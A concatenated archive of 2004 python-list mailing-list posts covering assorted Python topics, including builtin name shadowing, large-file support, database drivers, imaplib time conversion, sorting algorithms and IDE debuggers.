	<poidnXQ3VpJ4V8zcRVn-qg@powergate.ca>
Message-ID: <ivKdnT9rF9yNUMzcRVn-oA@powergate.ca>

Peter Hansen wrote:
> You might also say it's for the benefit of many of the old-timers
> who are here, providing the answers.  Any such who *haven't*
> taken the time to read it, 10000 words or not, should do so
> at the earliest opportunity.  It isn't perfect, but it could
> well save you some time, embarrassment, or a public whipping.

And as an additional incentive, I point you to the section
near the end on "How To Answer Questions in a Helpful Way":

http://www.catb.org/~esr/faqs/smart-questions.html#id2889110

Everyone who thought this essay was only about *asking* questions
should read that, then go back and read the rest of it anyway. :-)

(And it's only 9957 or so words, not an ominous-sounding 10000!)

-Peter


From jmlai at uci.edu  Fri Sep  3 11:27:11 2004
From: jmlai at uci.edu (Jason Lai)
Date: Fri, 03 Sep 2004 08:27:11 -0700
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <mailman.2838.1094223946.5135.python-list@python.org>
References: <opsdq5katd35jo5o@news.gmane.org>	<864d370904090306333b53ef56@mail.gmail.com>	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
Message-ID: <cha2gl$k6p$1@news.service.uci.edu>

Carlos Ribeiro wrote:
> On Sat, 4 Sep 2004 00:15:41 +1000, Andrew Durdin <adurdin at gmail.com> wrote:
> 
>>However, I think it'd be hard to make an iterator implementation of
>>sorted() without either copying the sequence or resorting to O(n^2)
>>performance, which is not good.
>>This may just be an example where inconsistency is a practical necessity.
> 
> 
> You may be right. At the least, this reasoning could possibly be
> included in the FAQ, as it will probably turn out to be a frequent
> question in the near future. But having sorted() to return a iterator
> still sounds like a logical thing to do, so I'm not sure about it.
> 

I had an idea for a moment about having sorted/reversed return the same 
type as it was passed -- so reversed(seq) returns a seq, 
reversed(iterator) returns an iterator. But it sounds confusing/magical 
and maybe out of line with Python philosophy. Although I think the whole 
iterator usage seems a little messy right now, so it's worth thinking 
about how seq/iterators-related functions should behave.

  - Jason Lai


From jerf at jerf.org  Tue Sep 14 00:03:26 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 14 Sep 2004 04:03:26 GMT
Subject: Easy question on opening a file
References: <3_t1d.296421$Oi.201894@fed1read04>
Message-ID: <pan.2004.09.14.15.13.54.941728@jerf.org>

On Mon, 13 Sep 2004 20:57:35 -0700, news.west.cox.net wrote:
> files = os.listdir('/direcory')
> if len(files) > 0:
>     for file in files:
>         f1 = file(file, "r")
>         do some other stuff

This will help you:

files = os.listdir('/directory')
print "The name 'file' is bound to:", repr(file)
for file in files:
	print "Now the name 'file' is bound to:", repr(file)

(Probably one of the last little warts I get bitten by often is that the
builtins are named a little *too* conveniently... :-) OK, even "wart" is
strong, but you know what I mean.)


From rswerdlow at transpose.com  Fri Sep  3 15:12:04 2004
From: rswerdlow at transpose.com (Bob Swerdlow)
Date: Fri, 3 Sep 2004 15:12:04 -0400
Subject: Python daemon and popen2
Message-ID: <011e01c491e9$e9deb270$046fa8c0@RSWERDLOW800>

I've created a Python daemon that starts a bunch of BitTorrent downloader
process.  Everything is working fine when I start the daemon by hand (logged
on as root).  I can quit the session and see that the daemon is running and
the subprocesses are running, too.  However, when I configure the system to
automatically start the daemon on boot-up, the daemon runs, but the
processes are not created.

This is on Solaris 8 with Python 2.3.3.  The processes are started with
popen2.  I'm starting the processes with a script in /etc/rc3.d/S81btseeds.

Any suggestions?  Why should it care that it is running at start-up?

Bob Swerdlow
COO
Transpose
rswerdlow at transpose.com
207-781-8284
http://www.transpose.com

----------------------------------
Fight Spam!
Add this link to your signature (as I did): http://wecanstopspam.org
Click through to find out more.
----------------------------------




From peter at semantico.com  Tue Sep 21 04:09:47 2004
From: peter at semantico.com (Peter Hickman)
Date: Tue, 21 Sep 2004 09:09:47 +0100
Subject: Python for Perl programmers?
In-Reply-To: <fuN3d.5823$QB1.237@trndny02>
References: <c1e48b51.0409201820.217e1dd@posting.google.com>
	<fuN3d.5823$QB1.237@trndny02>
Message-ID: <414fe1cc$0$2147$afc38c87@news.easynet.co.uk>

Chris S. wrote:
> I've read that Ruby is actually more akin to Perl than Python. From a 
> Ruby wiki, "[Matsumoto] chose the name to reflect the language's Perl 
> heritage". Granted, Python definitely deserves your attention, but if 
> you're a die-hard Perl user, you may also want to take a look at Ruby.

I actually found Python to be too close to Perl when I first looked into it. 
Ruby was sufficiently different to both for me to learn Ruby first.


From adalke at mindspring.com  Thu Sep 23 16:04:53 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 23 Sep 2004 20:04:53 GMT
Subject: lfs confusion
In-Reply-To: <mailman.3803.1095963499.5135.python-list@python.org>
References: <mailman.3796.1095959172.5135.python-list@python.org>	<mVD4d.1230$zG1.821@newsread3.news.pas.earthlink.net>
	<mailman.3803.1095963499.5135.python-list@python.org>
Message-ID: <F%F4d.1357$zG1.459@newsread3.news.pas.earthlink.net>

John Hunter
> Do you mean fd.seek?

D'oh!  Yeah.

> I did manage to read and write a 4GB file on crcdocs using the script I
> posted above.  Perhaps I don't understand what the "large" in large
> file really means.  I assumed it was 2**31 approx equal 2GB.  Has the
> default, non LFS limit, increased?

I think the answer is "it depends."

By default Python checks for large file support.  From
'configure'

if test "$have_long_long" = yes -a \
         "$ac_cv_sizeof_off_t" -gt "$ac_cv_sizeof_long" -a \
         "$ac_cv_sizeof_long_long" -ge "$ac_cv_sizeof_off_t"; then

cat >>confdefs.h <<\_ACEOF
#define HAVE_LARGEFILE_SUPPORT 1
_ACEOF

In other words, the default is to support large files
but only when the system supports >32 bit off_t.  CVS
says that was added in 1999.


The fileobject.c code for seek has

#if !defined(HAVE_LARGEFILE_SUPPORT)
         offset = PyInt_AsLong(offobj);
#else
         offset = PyLong_Check(offobj) ?
                 PyLong_AsLongLong(offobj) : PyInt_AsLong(offobj);
#endif
         if (PyErr_Occurred())
                 return NULL;

so my (corrected) statement about seeking to >2**31
should work.  Though I'm not sure now that sys.maxint
is the proper test since it might return 2**63 under
a 64 bit machine.  Hardcoding the value should work.


> I did do the normal incantation with the CFLAGS when compiling python
> for LFS on crcdocs.  

You're beyond my knowledge there.  I thought that
Python did the check automatically and didn't need
the CLAGS= ...

I compile from CVS source without special commands
and it Just Works.

				Andrew
				dalke at dalkescientific.com


From steve at holdenweb.com  Sun Sep 26 21:23:39 2004
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 26 Sep 2004 21:23:39 -0400
Subject: Python and Sybase
In-Reply-To: <2rivotF1aq7gtU1@uni-berlin.de>
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
	<cpallezisbz.fsf@cabernet.nelson.monkey.org>
	<2rivotF1aq7gtU1@uni-berlin.de>
Message-ID: <20K5d.788$TY2.550@lakeread04>

Moof wrote:

> Nelson Minar wrote:
> 
> 
>>While we're here, is there a free module for accessing SQLServer from
>>Python? Last I checked this Sybase driver was the only option.
> 
> 
> Pywin32 (formerly win32all) has an odbc module which is DB-API 1.0 compliant.
> 
I believe Mark Hammond doesn't make exaggerated claims for this module, 
and I certainly wouldn't recommend it.

> There's also adodbapi, which is DB-API 2.0 compliant.
> 
For what it's worth, I actually managed to use adodbapi as a drop-in 
replacement for mx.ODBC.Windows accessing a SQL Server database - there 
were resource-utilization problems, which we eventually traced to IIS 
(lest anyone should interpret this as criticism of mx.ODBC, an excellent 
piece of software).

> I haven't used the latter enough to work out if it's reasonably useful. I
> don't get on with the former very well, though.
> 
> Oh, and non-free there's mxODBC, which also works under unix.
> 
Also, remember, mx.ODBC's licensing allow use on non-commercial projects 
without charge.

> Also from unix someone mentioned a module based on ODBTP, which hasn't yet
> surfaced out in the wild.
> 
> Moof

regards
  Steve


From claird at lairds.us  Wed Sep 22 00:08:19 2004
From: claird at lairds.us (Cameron Laird)
Date: Wed, 22 Sep 2004 04:08:19 GMT
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<10ksur1ou8hb777@corp.supernews.com>
	<2rafspF17n18jU1@uni-berlin.de>
	<0f71l09s44fu9rtg6lrte3qeicgu40off1@4ax.com>
Message-ID: <mn8722-av8.ln1@lairds.us>

In article <0f71l09s44fu9rtg6lrte3qeicgu40off1 at 4ax.com>,
Fred  <fred at acme.com> wrote:
>On Tue, 21 Sep 2004 07:01:00 -0400, "RPM1" <rpm1deleteme at direcway.com>
>wrote:
>>I do notice though that when I try to convince a co-worker to try Python,
>>the thing that seems to be the biggest turn off is the lack of an IDE with a
>>GUI designer included standard
>
>I agree. Once you're used to the productivity of Delphi or VB, it's a
>big turn-off to have to go back to building GUI's by hand, and
>shipping the 3MB DLL for wxWidgets is an extra reason why newbies
>might give up on another excellent tool. Too bad Guido et al. didn't
>take the GUI part into consideration earlier.
			.
			.
			.
In the Tk community, there's a fair density of developers
with backgrounds in Delphi or VB, yet who claim to *prefer*
to do "GUIs by hand".  The "turn-off" isn't universal, if my
observations are accurate.

Also, I confess to taking offense at your mention of Guido et
al.  Please don't think they ignored GUI considerations or
possibilities.  Even with hindsight, *I* sure don't know how
they could have done better by themselves and Python.  I suspect
I'm overreacting, and that you intended no disrespect in what
you wrote.  It certainly rubbed me wrong, though.


From peter at engcorp.com  Fri Sep 24 07:08:28 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Sep 2004 07:08:28 -0400
Subject: up with PyGUI!
In-Reply-To: <2rhjmpF1at3kjU1@uni-berlin.de>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
	<4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de>
Message-ID: <pbadnZfDHOixncncRVn-jg@powergate.ca>

Greg Ewing wrote:
> For a while now I've been wondering whether Python could
> benefit from an "instance" statement that works similarly
> to a class statement but creates instances instead of
> classes.
> 
> e.g.
> 
>   class MainFrame(FrameDescription):
> 
>     instance b1(ButtonDescription):
>       size = (40, 40)
>       text = "b1"
> 
> Haven't figured out all the details of how it would
> work, though...

I think you can probably force the current implementation to
work this way, with a little work.  You'd need to *slightly*
change the above spelling though, and make sure you were
using one of the standard Python implementations and not,
say, something that didn't follow the language reference:

class MainFrame(FrameDescription):
     b1 = ButtonDescription(
         size = (40, 40),
         text = "b1",
         )

That's pretty close to what you asked for.  You're welcome,
in advance. <wink>

(Actually, I suspect you wanted slightly different behaviour,
but I'm not clear on what.)

-Peter


From steven.bethard at gmail.com  Tue Sep  7 03:44:37 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 7 Sep 2004 07:44:37 +0000 (UTC)
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
	<mailman.2913.1094451430.5135.python-list@python.org>
	<1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com>
	<mailman.2944.1094506599.5135.python-list@python.org>
	<1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com>
	<mailman.2955.1094538759.5135.python-list@python.org>
	<1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com>
Message-ID: <loom.20040907T092448-589@post.gmane.org>

Alex Martelli <aleaxit <at> yahoo.com> writes:
> > If no code would have been broken, I don't see why it would be 
> > unreasonable to use a more intuitive protocol.  
> 
> It may seem more intuitive to programmers trained in languages where
> exceptions are to be used as little as feasible, but to a
> dyed-in-the-wool Pythonista it doesn't.  Your proposed protocol would be
> more complicated than the historical one, since it would have to cover
> both classes that expose __len__ and ones that don't, in different ways,
> while the historical one is simpler because it does not need to draw
> that distinction, and "simpler is better than complicated" is a very
> important design principle in Python.

Well, my logic here was something along the lines of:

If you've provided a __len__ method and a __getitem__ that returns items for 
each index, then you've already provided all the necessary information for 
iteration.  If the __getitem__ also has to raise an IndexError when the index 
exceeds the length, in some sense, you're duplicating information -- both 
__len__ and the IndexError tell you the length of the sequence.  So it's not 
an exception fear, but a duplication of code fear, which I hope is somewhat 
more Pythonic. =)

It would have made describing the protocol somewhat more complex, but it would 
have made using the protocol in a class simpler.  Moot point of course, since 
I'm fully convinced that changing the protocol is infeasible. =)

Steve



From cbrown at metservice.com  Sun Sep 26 20:29:56 2004
From: cbrown at metservice.com (Colin Brown)
Date: Mon, 27 Sep 2004 12:29:56 +1200
Subject: imaplib function bug?
References: <4153575a$1@news.iconz.co.nz>
Message-ID: <41575c2e$1@news.iconz.co.nz>


Importing calendar and then making the modification as below to imaplib.py
fixes the problem ;-)

=======================================

def Internaldate2tuple(resp):
    """Convert IMAP4 INTERNALDATE to UT.

    Returns Python time module tuple.
    """

    mo = InternalDate.match(resp)
    if not mo:
        return None

    mon = Mon2num[mo.group('mon')]
    zonen = mo.group('zonen')

    day = int(mo.group('day'))
    year = int(mo.group('year'))
    hour = int(mo.group('hour'))
    min = int(mo.group('min'))
    sec = int(mo.group('sec'))
    zoneh = int(mo.group('zoneh'))
    zonem = int(mo.group('zonem'))

    # INTERNALDATE timezone must be subtracted to get UT

    zone = (zoneh*60 + zonem)*60
    if zonen == '-':
        zone = -zone

    tt = (year, mon, day, hour, min, sec, -1, -1, -1)
    return time.gmtime(calendar.timegm(tt) - zone)

==============================================

Colin Brown
PyNZ

"Colin Brown" <cbrown at metservice.com> wrote in message
news:4153575a$1 at news.iconz.co.nz...
> The Python 2.3 documentation in imaplib says:
>   Internaldate2tuple( datestr)
>   Converts an IMAP4 INTERNALDATE string to Coordinated Universal Time.
> Returns a time module tuple.
>
>   Time2Internaldate( date_time)
>   Converts a time module tuple to an IMAP4 "INTERNALDATE" representation.
> Returns a string in the form: "DD-Mmm-YYYY HH:MM:SS +HHMM" (including
> double-quotes).
> Yet running the following code produces inconsistent results (returning
> local not UTC time for Internaldate2tuple):
>
> import imaplib, time
> tmtup = time.localtime()
> imaptm = imaplib.Time2Internaldate(tmtup)
> print 'local_time:',tmtup
> print 'local_time:',imaptm
> utc = imaplib.Internaldate2tuple('INTERNALDATE '+imaptm)
> print 'utc_time  :',utc
>
> C:\>python imapbug.py
> local_time: (2004, 9, 24, 10, 52, 59, 4, 268, 0)
> local_time: "24-Sep-2004 10:52:59 +1200"
> utc_time  : (2004, 9, 24, 10, 52, 59, 4, 268, 0)
>
> Is this a bug?
>
> Colin Brown
> PyNZ
>
>
>




From aleaxit at yahoo.com  Mon Sep  6 06:13:35 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 12:13:35 +0200
Subject: built-in function- module name clash
References: <mailman.2917.1094464953.5135.python-list@python.org>
Message-ID: <1gjoxjy.tnmmkfvk7sk7N%aleaxit@yahoo.com>

Olivier Vierlinck <Olivier.Vierlinck at iba.be> wrote:

> Hi,
> 
> I've a python script using somecalls to the abs() built-in function.
> 
> Now, I have to import a module named 'abs' too...
> The consequence if that line code like
> 
>         if (abs(a-b) < epsilon:
>               ...
> does not work anymore, with this error msg:
> 
>       TypeError: 'module' object is not callable
> 
> Clearly, the interpreter tries first to consider 'abs' as a module name
rather than a built-in function name.

Nope, it just uses the latest binding you requested for name 'abs',
whatever kind of object that may refer to, there's just one (at a given
time in a given scope).

> Any idea on how to force it to call the abs() fct? Some kind of scoping or
specific syntax?
> (I could rename the abs module too but ...)

A name at a given time in a scope can refer to ONE thing -- so either
'abs' names a function or it names a module, not both, in that one scope
at one and the same time.

You can import under a false name, no need to rename your abs.py:

import abs as myabs

or you can get an alias for the builtin before you trample on it:

builtin_abs = abs
import abs

and perhaps restore it later if you're done naming your abs module --
and other ways yet.  But you just can't have barename 'abs' refer to two
different thing as the same name in the same scope.


Alex


From me at privacy.net  Fri Sep 24 14:30:10 2004
From: me at privacy.net (Richard Hanson)
Date: Fri, 24 Sep 2004 11:30:10 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<89adnWTWC6JVscncRVn-uw@giganews.com>
Message-ID: <enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com>

[A heads up: Slightly longer post; somewhat serious, but with (I hope)
some humor -- after all, what would life *be* sans humor? :-) ]

Istvan Albert wrote:

> My opinion on this matter is that this project has
> no chance of succeeding in any palpable way. It will
> always remain at this semi-conscious level of making
> some generic statements that may make feel one better
> but have no actual relevance to the way things work.

"I try to be cynical, but it's *so* hard to keep up."[1] ;-)

Less non-seriously, at this stage of my life, such a project will
likely not make *me* feel better -- I fully realize that implementing
the *complete* vision is a quite daunting task. If you read my
follow-up post to Carlos Ribeiro, you may realize that actually
implementing daunting tasks may well make me feel worse. ;-) (Explicit
NB: I'm *not* complaining, whatsoever; indeed, I feel quite fortunate
in the big picture.) However, discussing the theses I mentioned *is*
making me feel better. Criticism is *quite* welcome, Istvan.

I'm primarily of the intellectual persuasion. I have evolved into
mostly not personally identifying with or becoming attached to, ideas
-- whether they're emanating from me, or "stolen" from others. I
*enjoy* intellectually honest critiques -- seemingly, that way lies
the path to knowledge of the "self" and of the world. 

> The Beach Boys have already properly captured
> this design in their song titled "Wouldn't It Be Nice":
> 
> "Wouldn't it be nice if we were older
> Then we wouldn't have to wait so long
> And wouldn't it be nice to live together
> In the kind of world where we belong"

Hmm... That song came out in 1966. Considering your age as you
recently posted (32-years-old) suggests that you have an interest in
"my generation's" music. Good show! :-)

> And here is how to wake up from your dream. 

Please, don't wake me! -- I'm sleeping. ;-)

> Pick a simple task,
> design a program that does it and make it as simple
> as you can. Then grab a few people off the street,
> take them to a room, ask them to perform the task,
> leave the room, then watch them try to accomplish
> that task. 

As Jerry Pournelle so often says, "Despair is a 'sin'" (I added the
interior, single quotes; I'm areligious, as well :-) ). But, I can as
easily get into disillusionment about the state of society as the next
guy. However, I'm finding it much more productive -- and fun -- to
keep on doing my art and science, even as a non-intentionalist[2] who
finds incoherent such things as: humans are a rational species; the
existence of the ego or agency (free will); and many other dubious or
undecidable things left unsaid for now. It is a commonly accepted
thesis that the universe is evolving following some, possibly
ultimately unknowable, immutable set of laws. Humans *do* seem to do
art, though, so I'm concentrating on thinking of the behavior which
comes out of Richard as art. And I continue on.

> The lessons you learn in a few hours
> will last you a lifetime. You'll then understand
> why this "generic computing appliance" serving the
> "needs of a typical user" makes no sense whatsoever.

Ahem. My life has already lasted a lifetime. ;-) Be that all as it
may, however, you're not suggesting that the status quo serves the
needs of the typical user, are you?

But thanks for the critique, Istvan. Sincerely. These theses and
proposals would be well served to be shot down early if they can be;
life is way too short to spend on side-trails, and all that.


undauntedly-but-with-a-twinkle-in-my-eye'ly y'rs
Richard Hanson
_________________________________________________________
[1] A possibly paraphrased rendition of a humorous comment by Lily
Tomlin which I can identify with. :-)

[2] See Daniel Dennett's many writings on such. The web is full of
much of his shorter works and critiques of such.

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From peter at engcorp.com  Tue Sep 28 07:19:16 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Sep 2004 07:19:16 -0400
Subject: breaking up a list
In-Reply-To: <cjbggn$alv$1@ucsnew1.ncl.ac.uk>
References: <cjbggn$alv$1@ucsnew1.ncl.ac.uk>
Message-ID: <kuWdnYETpLMo1cTcRVn-vQ@powergate.ca>

C Gillespie wrote:
> Dear All,
> 
> If I have a list, say
> 
> x=[1,2,3,4,5,6]
> 
> What's the best way of converting it into this: [[1, 2], [3, 4], [5, 6]],
> i.e. splitting it into pairs.

There are a variety of solutions in the Python Cookbook
here http://aspn.activestate.com/ASPN/Cookbook/Python?kwd=Algorithms

I notice "Getting items in batches", and "Group a list into
sequential n-tuples" right off the bat.

-Peter


From jjl at pobox.com  Tue Sep 28 16:23:56 2004
From: jjl at pobox.com (John J. Lee)
Date: 28 Sep 2004 21:23:56 +0100
Subject: "False exceptions?" (was Re: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org>
	<QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
	<mfydnUd5Idex1srcRVn-pQ@rogers.com>
	<tpudnXILROwO88rcRVn-sw@powergate.ca>
	<mailman.3947.1096250696.5135.python-list@python.org>
	<kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com>
	<efidneft_NO8p8XcRVn-tQ@rogers.com>
	<mailman.3996.1096354841.5135.python-list@python.org>
	<Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com>
Message-ID: <87mzzakuqr.fsf@pobox.com>

"Dan Perl" <danperl at rogers.com> writes:

> "Marco Aschwanden" <PPNTWIMBXFFC at spammotel.com> wrote in message 
> news:mailman.3996.1096354841.5135.python-list at python.org...
> > On Mon, 27 Sep 2004 12:04:47 -0400, Dan Perl <danperl at rogers.com> wrote:
> >
> > I myself felt disturbed by your comments on WingIDE. But yes, I do 
> > understand your nagging on "false exceptions" which can be turned off. You 
> > turned it down because of this and because the short trial period (which 
> > can be prolonged with 1 button click)... well, it didn't seem fair towards 
> > the tool. It has its shortcomings but the ones you mention are ridiculous.
[...]
> To be fair again to Wing, I gave up on it based on the false positives 
> before finding out that I could have switched to another debug mode.  But 
> that's their fault too because the widget that came up with the false 
> positive just says you can ignore the exception and then there was something 
> else just praising the tool, but there was no mention of the different debug 
> modes.  I found that option only once I searched the manual.  Maybe it's 
> just me, but I'm not reading the manuals when I'm trying out several tools.
> 
> My "nagging" on the false positives is mostly on the spin that Wingware puts 
> in their explanations.  It's one thing to explain it the way that Stephan 
> did, that it was better to offer something imperfect if that was also 
> providing some important advantages and then also offer the other 
> alternative ("We weighed having a necessarily imperfect but useful feature 
> with not having the feature at all.").  And it's another thing to insist 
> that this is not a problem and it is actually good for you.  This doesn't 
> seem to bother other people as much as it bothered me, but I do have a beef 
> with it.

Dan, I suspect that (though perhaps their marketing may have room for
improvement here ;-) there may have been an unstated assumption on the
part of the Wing IDE people that, "obviously", the false-positives
issue is only a "nit" if one has a hard debugging problem on one's
hands, and that "obviously", one turns this feature off under all
other circumstances.  Not necessarily obvious at all, of course.

Perhaps, like many of the rest of us, they only wheel out their
debugger when they hit a really *nasty* problem, so the exception
issue simply never arises as anything other than a minor wart in what
I can see could be a very handy feature.  That would explain why this
feature is on by default.  Another explanation is that it's turned on
by default just to advertise the feature -- if you don't bump into it
like this, you might never realise it existed.


John


From jeff at ccvcorp.com  Wed Sep  8 17:56:11 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Wed, 08 Sep 2004 14:56:11 -0700
Subject: Why is this legal?
In-Reply-To: <2uK%c.21$pW.773@news.itd.umich.edu>
References: <2uK%c.21$pW.773@news.itd.umich.edu>
Message-ID: <10juvth7102bs3c@corp.supernews.com>

Michael George Lerner wrote:

>
>>>>f1 = Foo(); f2 = Foo()
>>>>f1.x = 'go'; f2.x = 'od'
>>>>f1.x+f2.x
>>>>        
>>>>
>'good'
>  
>
>>>>things = [f for (f,f.x) in [(f1,'bo'),(f2,'gus')]]
>>>>f1.x+f2.x
>>>>        
>>>>
>'bogus'
>  
>
>
>Is there any reason you'd ever want to do this?
>  
>

I don't know if there's a *reason* why you'd want to do this.

But note that if you rewrote the list-comp as a for loop, you'd have the 
same effect and probably not be surprised by it.  It's simply a matter 
that for loops (and list comprehensions) do not introduce a new scoping 
level in Python.

Jeff Shannon
Technician/Programmer
Credit International



From jhylton at gmail.com  Thu Sep  2 21:59:36 2004
From: jhylton at gmail.com (Jeremy Hylton)
Date: Thu, 2 Sep 2004 21:59:36 -0400
Subject: ZODB 3.3b2 released
In-Reply-To: <e8bf7a5304090218581ecdb0eb@mail.gmail.com>
References: <20040813184147.EBE953B805B@smtp.zope.com>
	<e8bf7a5304090218581ecdb0eb@mail.gmail.com>
Message-ID: <e8bf7a530409021859480ad116@mail.gmail.com>

On Thu, 2 Sep 2004 21:58:51 -0400, Jeremy Hylton <jhylton at gmail.com> wrote:
> On Fri, 13 Aug 2004 14:41:49 -0400, Tim Peters <tim at zope.com> wrote:
> > I'm pleased to announce the release of ZODB 3.3b2.  This corresponds to the
> > ZODB (and ZEO) that will ship with ZopeX3-3.0.0b2.  Note that ZODB 3.3b2
> > cannot be used with any released version of Zope2.
> 
> I forgot to mention it before, but congratulations on another release.
>  It looks like you can keep ZODB development going just fine without
> me :-).  I just read the thread on Transaction and the goofy
> attributes like _user.  I had made it a habit of eliminating the
> define-attribute-on-class-to-provide-instance-default hack, mostly
> with a damn the consequences attitude <0.3 wink>.  I think Shane had
> to re-use a single Transaction() object for the setLocalTransaction()
> hack, but I don't think he wanted to; that is, any odd effects are
> probably accidental.  Do you ever hear from Shane?
> 
> It sounds like there was a Zope3 release, too.  Anyone using Zope3?  (Like ZC?)

Oops.  Didn't intend to send that to the whole list.  Sorry.

Jeremy


From ptmcg at austin.rr._bogus_.com  Wed Sep  8 01:15:08 2004
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 08 Sep 2004 05:15:08 GMT
Subject: Remove items from a list
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
	<KOv%c.104$GRm.52@news04.bloor.is.net.cable.rogers.com>
	<yWv%c.33126$Dl4.19812@fe2.texas.rr.com>
Message-ID: <wzw%c.14064$It2.9861@fe2.texas.rr.com>

"Stan Cook" <scook at elp.rr.com> wrote in message
news:yWv%c.33126$Dl4.19812 at fe2.texas.rr.com...
> Yes, I used the listdir.  The list is a list of files in the
> directory.  I want to filter everything out but the ".dbf"
> files.
>

You said the answer yourself - "I want to _filter_ everything out but the
".dbf" files."

Use filter built-in, and use str's endswith() method in place of [-4:] list
slicing.

dirlist = [ "a.txt", "b.txt", "c.dbf", "d.txt", "e.dbf" ]
isdbf = lambda x : x.endswith(".dbf")
print filter( isdbf, dirlist )

gives:

['c.dbf', 'e.dbf']


-- Paul




From jnh at llnl.gov  Fri Sep 10 14:52:25 2004
From: jnh at llnl.gov (Jeff Hagelberg)
Date: 10 Sep 2004 11:52:25 -0700
Subject: Solved: Dynamic Linking Problems with Intel Compiler
Message-ID: <5ea262fa.0409101052.665a00d3@posting.google.com>

I solved the problem.  I needed use -Qoption,link,-export-dynamic.


From ialbert at mailblocks.com  Tue Sep 28 13:38:07 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Tue, 28 Sep 2004 13:38:07 -0400
Subject: re-entering in the normal flow after an exception is raised
In-Reply-To: <4edc17eb.0409280817.27ef4f43@posting.google.com>
References: <4edc17eb.0409280817.27ef4f43@posting.google.com>
Message-ID: <Ev6dnX0vG_fjPMTcRVn-jg@giganews.com>

Michele Simionato wrote:

> try:
>     do_this_and_that()
> except NotSeriousException:
>     continue # does not work of course
> 
> where "continue" would continue from do_that().
> 
> Is there some elegant or hackish way to get this? 
> Notice that I do NOT want to modify the source code of
> do_this_and_that.

Maybe you could extract the function from the current scope:

def do_this():
	raise KeyError

def do_that():
	return 123

def do_this_and_that():
	do_this()
	do_that()

try:
	do_this_and_that()
except KeyError:
	my_do_that = globals()['do_that']
	print my_do_that()


Istvan.


From tim.peters at gmail.com  Sat Sep  4 17:14:46 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Sat, 4 Sep 2004 17:14:46 -0400
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
Message-ID: <1f7befae0409041414378136fb@mail.gmail.com>

[Alex Martelli, to Carlos Ribeiro]
> ...
> If you need to loop on the first few smallest items of a long sequence,
> you'll find good solutions in the cookbook (and better ones in the 2nd
> printed edition I'm supposed to be coediting rather than surfing
> c.l.py...:-), but the sorted builtin is no use for that.

Note that Raymond Hettinger added efficient nlargest() and nsmallest()
functions to heapq for 2.4.  Because heapq implements a min-heap, only
nlargest() is really "natural" for this module, but nsmallest() does
what it can.  Neither works as a generator.  There are elegant ways to
implement mergesort as a cascade of (O(N)!) recursive generators, but
they're horrendously slow in comparison.

...
> Again, you're assuming (implicitly) heapsort and ignoring the huge
> performance benefit of Peters' "natural mergesort" as implemented in
> the current sorted built-in (and list.sort method).  In all the many
> cases in which the whole sorted sequence is wanted, natural
> mergesort shines, particularly in the common practical cases in
> which the input sequence already has some pieces ordered, while
> heapsort gets no prize at all.

It's actually the "adaptive" in "adaptive natural mergesort" that
supplies the real wins.  The "natural" part does pay in some cases,
but not nearly as often as the "adaptive" part.  There's an extensive
writeup of the algorithm in a Python source distribution's
Objects/listsort.txt.  The adaptive part requires creating long runs
in order to, well, find something to adapt *to*.  It's not suited to
generator-like behavior because of this (trying to do the least work
possible to deliver "the next" result would castrate its most
generally effective go-fast trick).

I'll note that no algorithm can know the smallest element before it's
seen all the elements, so no generator-like gimmick can deliver the
first element of the sorted result before materializing the entire
input and doing O(N) work on it.  The recursive-generator mergesorts
mentioned above deliver the first result after doing exactly N-1
compares (which achieves the theoretical minimum).  But the builtin
sort() can usually sort the whole list before that gimmick can deliver
its first result.


From proto at panix.com  Thu Sep 16 12:28:00 2004
From: proto at panix.com (Walter Bushell)
Date: Thu, 16 Sep 2004 12:28:00 -0400
